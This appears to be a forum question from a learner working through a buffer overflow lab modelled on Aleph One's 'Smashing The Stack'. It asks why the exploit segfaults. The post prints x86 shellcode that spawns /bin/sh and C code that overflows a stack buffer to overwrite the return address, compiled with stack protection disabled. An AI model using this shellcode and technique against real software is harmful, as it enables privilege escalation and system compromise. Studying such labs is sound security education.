I've been doing buffer overflow test, mostly I read from Aleph One's Smashing The Stack For Fun And Profit.
#include<string.h>
#include<stdio.h>
char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x8\x8d\x53\x0c\xcd\x80\xe8
\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58
\x59\x59\x59\x59";
char large_str[104]; /*length equals to buffer + i + ptr + return_address*/
int main(){
char buffer[56];/*same length as shellcode*/
int i;
long *ptr=(long*)large_str;
memset(&large_str,0,104); /*initialize large_str*/
for(i=0;i<24;i++)
*(ptr+i)=(int)buffer; /*overwrite return address*/
for(i=0;i<strlen(shellcode);i++)
large_str[i]=shellcode[i];
strcpy(buffer,large_str); /*doing overflow*/
return 0;
}
doing
$gcc -o overflow -fno-stack-protector overflow.c
$./overflow
segmentation fault (core dumped)
Before doing this, I've turned random address off already. Also, I've tested my shellcode in program:
int main(int argc, char **argv)
{
int (*func)();
func=(int(*)())code;
(int)(*func)();
}
it works. so I don't know what's wrong with my buffer overflow code, is there anyone who's got experience with buffer overflow lab? I debugged with gdb, it seems I didn't over write return address properly.